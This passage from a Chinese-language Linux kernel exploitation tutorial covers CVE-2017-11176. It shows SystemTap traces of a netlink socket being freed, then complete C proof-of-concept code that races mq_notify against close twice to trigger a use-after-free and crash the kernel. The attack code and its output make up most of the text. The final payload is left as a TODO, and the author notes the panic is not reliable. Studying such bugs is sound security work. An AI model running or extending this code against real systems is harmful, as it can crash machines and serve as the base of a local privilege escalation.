(1370-1370) <<< netlink_detachskb
-={ dump_netlink_sock: 0xffff880037218000 }=-
- sk = 0xffff880037218000
- sk->sk_rmem_alloc = 10816
- sk->sk_rcvbuf = 2304
- sk->sk_refcnt = 1
- nlk->state = 0
- sk->sk_flags = 100
- SOCK_DEAD = 0
-={ dump_netlink_sock: END}=-
(1370-1370) <<< mq_notify = fffffffffffffff7


(1370-1370) >>> __fdget (fd=?)
(1370-1370) >>> copy_from_user()
(1370-1370) >>> __fdget (fd=?)
(1370-1370) >>> copy_from_user()
(1370-1372) >>> copy_from_user()
(1370-1372) >>> copy_from_user()
(1370-1372) >>> copy_from_user()
(1370-1370) >>> __fdget (fd=?)
(1370-1370) >>> copy_from_user()
(1370-1370) >>> __fdget (fd=?)
(1370-1370) >>> copy_from_user()


(1370-1370) >>> mq_notify (4294967295, 0x7fffff6932f0)
(1370-1370) >>> copy_from_user()
(1370-1370) >>> alloc_skb (priority=? size=?)
(1370-1370) >>> copy_from_user()
(1370-1370) >>> skb_put (skb=0xffff88003d96c500 len=0x20)
(1370-1370) <<< skb_put = ffff88003c8b7400
(1370-1370) >>> __fdget (fd=0x5)
(1370-1370) <<< __fdget = ffff880020c1e601
(1370-1370) >>> netlink_getsockbyfilp (filp=0xffff880020c1e600)
(1370-1370) <<< netlink_getsockbyfilp = ffff880037218000
(1370-1370) >>> netlink_attachskb (sk=0xffff880037218000 skb=0xffff88003d96c500 timeo=0xffff88003d8cff08 ssk=0x0)
[unblock] closing 5 fd
[unblock] unblocking now
[+] mq_notify succeed
[ ] ready to crash?
[ ] press key to continue...
(1370-1372) >>> __fdget (fd=?)
(1370-1372) >>> copy_from_user()
(1370-1372) >>> __fdget (fd=?)
(1370-1372) >>> copy_from_user()
(1370-1372) >>> __fdget (fd=0x3)
(1370-1372) <<< __fdget = ffff880020c1e601
(1370-1370) <<< netlink_attachskb = 1
(1370-1370) >>> __fdget (fd=0x5)
(1370-1370) <<< __fdget = 0
(1370-1370) >>> netlink_detachskb (sk=0xffff880037218000 skb=0xffff88003d96c500)
(1370-1370) >>> kfree (objp=0xffff88003c8b7400)
(1370-1370) >>> kfree (objp=0xffff88003c5d8c40)
(1370-1370) >>> kfree (objp=0xffff88003c884dc0)
(1370-1370) >>> kfree (objp=0xffff880037218000)
(1370-1370) <<< netlink_detachskb
-={ dump_netlink_sock: 0xffff880037218000 }=-
- sk = 0xffff880037218000
- sk->sk_rmem_alloc = 0
- sk->sk_rcvbuf = 2304
- sk->sk_refcnt = 0
- nlk->state = 0
- sk->sk_flags = 100
- SOCK_DEAD = 0
-={ dump_netlink_sock: END}=-
(1370-1370) <<< mq_notify = fffffffffffffff7


(1370-1370) >>> __fdget (fd=?)
(1370-1370) >>> copy_from_user()
(1370-1370) >>> __fdget (fd=?)
(1370-1370) >>> copy_from_user()
(1370-1370) >>> __fdget (fd=?)
(1370-1370) >>> copy_from_user()
(1370-1370) >>> __fdget (fd=?)

Final Proof-Of-Concept Code

在最后三节中,我们仅使用用户态代码实现触发该错误所需的所有条件。在最终的proof-of-concept之前,还需要做一件事。

在尝试填充接收缓冲区时,我们发现由于netlink_insert(),在netlink_bind()期间,refcounter加一。 这意味着在进入mq_notify()之前,refcounter被设置为2(而不是1)。

由于该错误使netlink_sock refcounter减少了1,因此我们需要两次触发该错误

在触发错误之前,我们使用了*dup()*来解除阻塞主线程的方法。我们将需要再次使用它(因为旧的已关闭),因此我们可以保留一个fd来unblock,而保留另一个fd来触发该错误。

最终的PoC,不需要运行System Tap:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
/*
* CVE-2017-11176 Proof-of-concept code by LEXFO.
*
* Compile with:
*
* gcc -fpic -O0 -std=c99 -Wall -pthread exploit.c -o exploit
*/

#define _GNU_SOURCE
#include <asm/types.h>
#include <mqueue.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <linux/netlink.h>
#include <pthread.h>
#include <errno.h>
#include <stdbool.h>

// ============================================================================
// ----------------------------------------------------------------------------
// ============================================================================

#define NOTIFY_COOKIE_LEN (32)
#define SOL_NETLINK (270) // from [include/linux/socket.h]

// ----------------------------------------------------------------------------

// avoid library wrappers
#define _mq_notify(mqdes, sevp) syscall(__NR_mq_notify, mqdes, sevp)
#define _socket(domain, type, protocol) syscall(__NR_socket, domain, type, protocol)
#define _setsockopt(sockfd, level, optname, optval, optlen) \
syscall(__NR_setsockopt, sockfd, level, optname, optval, optlen)
#define _getsockopt(sockfd, level, optname, optval, optlen) \
syscall(__NR_getsockopt, sockfd, level, optname, optval, optlen)
#define _dup(oldfd) syscall(__NR_dup, oldfd)
#define _close(fd) syscall(__NR_close, fd)
#define _sendmsg(sockfd, msg, flags) syscall(__NR_sendmsg, sockfd, msg, flags)
#define _bind(sockfd, addr, addrlen) syscall(__NR_bind, sockfd, addr, addrlen)

// ----------------------------------------------------------------------------

#define PRESS_KEY() \
do { printf("[ ] press key to continue...\n"); getchar(); } while(0)

// ============================================================================
// ----------------------------------------------------------------------------
// ============================================================================

struct unblock_thread_arg
{
int sock_fd;
int unblock_fd;
bool is_ready; // we can use pthread barrier instead
};

// ----------------------------------------------------------------------------

static void* unblock_thread(void *arg)
{
struct unblock_thread_arg *uta = (struct unblock_thread_arg*) arg;
int val = 3535; // need to be different than zero

// notify the main thread that the unblock thread has been created. It *must*
// directly call mq_notify().
uta->is_ready = true;

sleep(5); // gives some time for the main thread to block

printf("[ ][unblock] closing %d fd\n", uta->sock_fd);
_close(uta->sock_fd);

printf("[ ][unblock] unblocking now\n");
if (_setsockopt(uta->unblock_fd, SOL_NETLINK, NETLINK_NO_ENOBUFS, &val, sizeof(val)))
perror("[+] setsockopt");
return NULL;
}

// ----------------------------------------------------------------------------

static int decrease_sock_refcounter(int sock_fd, int unblock_fd)
{
pthread_t tid;
struct sigevent sigev;
struct unblock_thread_arg uta;
char sival_buffer[NOTIFY_COOKIE_LEN];

// initialize the unblock thread arguments
uta.sock_fd = sock_fd;
uta.unblock_fd = unblock_fd;
uta.is_ready = false;

// initialize the sigevent structure
memset(&sigev, 0, sizeof(sigev));
sigev.sigev_notify = SIGEV_THREAD;
sigev.sigev_value.sival_ptr = sival_buffer;
sigev.sigev_signo = uta.sock_fd;

printf("[ ] creating unblock thread...\n");
if ((errno = pthread_create(&tid, NULL, unblock_thread, &uta)) != 0)
{
perror("[-] pthread_create");
goto fail;
}
while (uta.is_ready == false) // spinlock until thread is created
;
printf("[+] unblocking thread has been created!\n");

printf("[ ] get ready to block\n");
if ((_mq_notify((mqd_t)-1, &sigev) != -1) || (errno != EBADF))
{
perror("[-] mq_notify");
goto fail;
}
printf("[+] mq_notify succeed\n");

return 0;

fail:
return -1;
}

// ============================================================================
// ----------------------------------------------------------------------------
// ============================================================================

/*
* Creates a netlink socket and fills its receive buffer.
*
* Returns the socket file descriptor or -1 on error.
*/

static int prepare_blocking_socket(void)
{
int send_fd;
int recv_fd;
char buf[1024*10];
int new_size = 0; // this will be reset to SOCK_MIN_RCVBUF

struct sockaddr_nl addr = {
.nl_family = AF_NETLINK,
.nl_pad = 0,
.nl_pid = 118, // must different than zero
.nl_groups = 0 // no groups
};

struct iovec iov = {
.iov_base = buf,
.iov_len = sizeof(buf)
};

struct msghdr mhdr = {
.msg_name = &addr,
.msg_namelen = sizeof(addr),
.msg_iov = &iov,
.msg_iovlen = 1,
.msg_control = NULL,
.msg_controllen = 0,
.msg_flags = 0,
};

printf("[ ] preparing blocking netlink socket\n");

if ((send_fd = _socket(AF_NETLINK, SOCK_DGRAM, NETLINK_USERSOCK)) < 0 ||
(recv_fd = _socket(AF_NETLINK, SOCK_DGRAM, NETLINK_USERSOCK)) < 0)
{
perror("socket");
goto fail;
}
printf("[+] socket created (send_fd = %d, recv_fd = %d)\n", send_fd, recv_fd);

while (_bind(recv_fd, (struct sockaddr*)&addr, sizeof(addr)))
{
if (errno != EADDRINUSE)
{
perror("[-] bind");
goto fail;
}
addr.nl_pid++;
}

printf("[+] netlink socket bound (nl_pid=%d)\n", addr.nl_pid);

if (_setsockopt(recv_fd, SOL_SOCKET, SO_RCVBUF, &new_size, sizeof(new_size)))
perror("[-] setsockopt"); // no worry if it fails, it is just an optim.
else
printf("[+] receive buffer reduced\n");

printf("[ ] flooding socket\n");
while (_sendmsg(send_fd, &mhdr, MSG_DONTWAIT) > 0)
;
if (errno != EAGAIN)
{
perror("[-] sendmsg");
goto fail;
}
printf("[+] flood completed\n");

_close(send_fd);

printf("[+] blocking socket ready\n");
return recv_fd;

fail:
printf("[-] failed to prepare block socket\n");
return -1;
}

// ============================================================================
// ----------------------------------------------------------------------------
// ============================================================================

int main(void)
{
int sock_fd = -1;
int sock_fd2 = -1;
int unblock_fd = 1;

printf("[ ] -={ CVE-2017-11176 Exploit }=-\n");

if ((sock_fd = prepare_blocking_socket()) < 0)
goto fail;
printf("[+] netlink socket created = %d\n", sock_fd);

if (((unblock_fd = _dup(sock_fd)) < 0) || ((sock_fd2 = _dup(sock_fd)) < 0))
{
perror("[-] dup");
goto fail;
}
printf("[+] netlink fd duplicated (unblock_fd=%d, sock_fd2=%d)\n", unblock_fd, sock_fd2);

// trigger the bug twice
if (decrease_sock_refcounter(sock_fd, unblock_fd) ||
decrease_sock_refcounter(sock_fd2, unblock_fd))
{
goto fail;
}

printf("[ ] ready to crash?\n");
PRESS_KEY();

// TODO: exploit

return 0;

fail:
printf("[-] exploit failed!\n");
PRESS_KEY();
return -1;
}

// ============================================================================
// ----------------------------------------------------------------------------
// ============================================================================

实际测试时,该PoC并不能稳定触发所使用的虚拟机Kernel Panic,需要多次运行exploit。